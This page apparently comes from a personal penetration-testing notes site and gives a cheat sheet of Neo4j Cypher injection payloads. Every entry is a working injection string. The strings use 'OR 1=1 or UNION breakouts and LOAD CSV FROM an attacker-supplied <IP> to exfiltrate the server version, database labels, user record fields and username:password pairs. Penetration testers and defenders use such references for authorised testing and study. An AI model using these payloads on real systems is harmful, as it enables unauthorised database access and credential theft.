# Neo4j Injection

Source: https://pentest.h4rithd.com/owasp-10/neo4j-injection/  
Section: OWASP 10  
Updated: 2026-05-30  
Author: Harith Dilshan (h4rithd), https://h4rithd.com

```bash
## ------------------| Get Server Version
' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<IP>/?v=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

## ------------------| List All Tables
' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<IP>/?l='+label as l RETURN 0 as _0 
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<IP>/?l='+label as l RETURN 0 as _0 

## ------------------| Fetch Data
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://<IP>/?d=' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
a ' match (u:user) with distinct keys(u) as k  LOAD CSV FROM 'http://<IP>/?k=' + k[0] a as l RETURN 0 as _0 //
' match (u:user) with distinct u.username + ":" + u.password as a LOAD CSV FROM 'http://<IP>/?' + a as l RETURN 0 as _0 //

```